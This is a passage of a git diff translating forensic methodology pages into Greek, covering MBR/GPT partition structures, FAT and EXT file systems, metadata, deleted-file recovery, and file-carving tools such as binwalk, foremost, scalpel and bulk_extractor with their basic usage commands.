(0x04) | Τομείς στο διαμέρισμα | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Λογική διεύθυνση μπλοκ)** -**LBA (Logical block addressing)** +**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (Πίνακας Κατατμήσεων GUID) -### GPT (GUID Partition Table) +Ο Πίνακας Κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακρίνεται για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατατμήσεις, το GPT ξεχωρίζει με αρκετούς τρόπους: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR. +- **Όρια Κατατμήσεων**: Το GPT υποστηρίζει έως **128 κατατμήσεις** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων. +- **Ονόματα Κατατμήσεων**: Προσφέρει τη δυνατότητα ονομασίας κατατμήσεων με έως 36 χαρακτήρες Unicode. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Ανθεκτικότητα Δεδομένων και Ανάκτηση**: -**Data Resilience and Recovery**: +- **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων. +- **Έλεγχος Κυκλικής Πλεονασματικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**Προστατευτικό MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποίησης GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**Υβριδικό MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte. -**Partition table header (LBA 1)** +**Κεφαλίδα πίνακα κατατμήσεων (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +Η κεφαλίδα πίνακα κατατμήσεων ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατατμήσεων που αποτελούν τον πίνακα κατατμήσεων (offsets 80 και 84 στον πίνακα). -| Offset | Length | Contents | +| Offset | Length | Περιεχόμενα | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)σε μηχανές little-endian) | +| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 | +| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού | +| 20 (0x14) | 4 bytes | Κρατημένο; πρέπει να είναι μηδέν | +| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντιγράφου κεφαλίδας) | +| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) | +| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατατμήσεις (τελευταίο LBA κύριου πίνακα κατατμήσεων + 1) | +| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατατμήσεων − 1) | +| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian | +| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατατμήσεων (πάντα 2 στην κύρια αντιγραφή) | +| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατατμήσεων στον πίνακα | +| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατατμήσεων (συνήθως 80h ή 128) | +| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρίσεων κατατμήσεων σε little endian | +| 92 (0x5C) | \* | Κρατημένο; πρέπει να είναι μηδενικά για το υπόλοιπο του μπλοκ (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερα με μεγαλύτερα μεγέθη τομέα) | -**Partition entries (LBA 2–33)** +**Καταχωρίσεις κατατμήσεων (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Μορφή καταχώρισης GUID | | | +| ----------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Offset | Length | Περιεχόμενα | +| 0 (0x00) | 16 bytes | [GUID τύπου κατατμήσεων](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (μικτό endian) | +| 16 (0x10) | 16 bytes | Μοναδικός GUID κατατμήσεων (μικτό endian) | +| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένο, συνήθως περιττό) | +| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 δηλώνει μόνο ανάγνωση) | +| 56 (0x38) | 72 bytes | Όνομα κατατμήσεων (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) | -**Partitions Types** +**Τύποι Κατατμήσεων** ![](<../../../images/image (83).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Περισσότεροι τύποι κατατμήσεων στο [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### Επιθεώρηση -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Αφού τοποθετήσετε την εικόνα εγκληματολογικής ανάλυσης με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Αν ήταν ένας **πίνακας GPT αντί για MBR**, θα έπρεπε να εμφανίζεται η υπογραφή _EFI PART_ στον **τομέα 1** (ο οποίος στην προηγούμενη εικόνα είναι κενός). -## File-Systems +## Συστήματα Αρχείων -### Windows file-systems list +### Λίστα συστημάτων αρχείων Windows - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +Το **FAT (Πίνακας Κατανομής Αρχείων)** είναι ένα σύστημα αρχείων σχεδιασμένο γύρω από τον πυρήνα του, τον πίνακα κατανομής αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, διασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν το ένα είναι κατεστραμμένο. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκεται σε μια **σταθερή τοποθεσία**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις clusters και διαχειρίζεται έως 4078 clusters (4084 με UNIX). +- **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters. +- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το 32-bit πεδίο που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου. -Key components of the root directory, particularly for FAT12 and FAT16, include: +Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες) +- **Χαρακτηριστικά** +- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης** +- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου) +- **Μέγεθος Αρχείου** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατατμήσεις (**κατατμήσεις που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατατμήσεις**. -## **Metadata** +## **Μεταδεδομένα** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου που μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να έχει πληροφορίες όπως: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Τίτλος +- Έκδοση MS Office που χρησιμοποιήθηκε +- Συγγραφέας +- Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης +- Μοντέλο της κάμερας +- Συντεταγμένες GPS +- Πληροφορίες εικόνας -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να αποκτήσετε τα μεταδεδομένα ενός αρχείου. -## **Deleted Files Recovery** +## **Ανάκτηση Διαγραμμένων Αρχείων** -### Logged Deleted Files +### Καταγεγραμμένα Διαγραμμένα Αρχεία -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Όπως είδαμε προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατό να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατό να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες. {{#ref}} file-data-carving-recovery-tools.md @@ -201,11 +199,11 @@ file-data-carving-recovery-tools.md ### **File Carving** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία μέσα σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του. -There are several tools that you can use for file Carving indicating the file types you want to search for +Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε. {{#ref}} file-data-carving-recovery-tools.md @@ -213,19 +211,19 @@ file-data-carving-recovery-tools.md ### Data Stream **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\ +Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Ασφαλής Διαγραφή -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατό να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και να **αφαιρέσετε τα Volume Shadow Copies**.\ +Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογικής ανάλυσης είναι να τις βρει. -## References +## Αναφορές - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..a64bfaba1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,92 +4,84 @@ ## Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω του `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk). +**Χρήσιμες εντολές**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που είναι ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec. ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και την [ιστοσελίδα εργαλείου](https://binvis.io/#/). -#### Features of BinVis +#### Χαρακτηριστικά του BinVis -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Οπτικός και ενεργός **θεατής δομής** +- Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης +- Εστίαση σε τμήματα ενός δείγματος +- **Βλέποντας αλυσίδες και πόρους**, σε εκτελέσιμα PE ή ELF π.χ. +- Λαμβάνοντας **μοτίβα** για κρυπτοανάλυση σε αρχεία +- **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης +- **Αναγνώριση** Στεγανότητας μέσω μοτίβων +- **Οπτική** διαφορά δυαδικών αρχείων -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρης κουτί. -## Specific Data Carving Tools +## Ειδικά Εργαλεία Κατασκευής Δεδομένων ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Συμπληρωματικά εργαλεία -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε 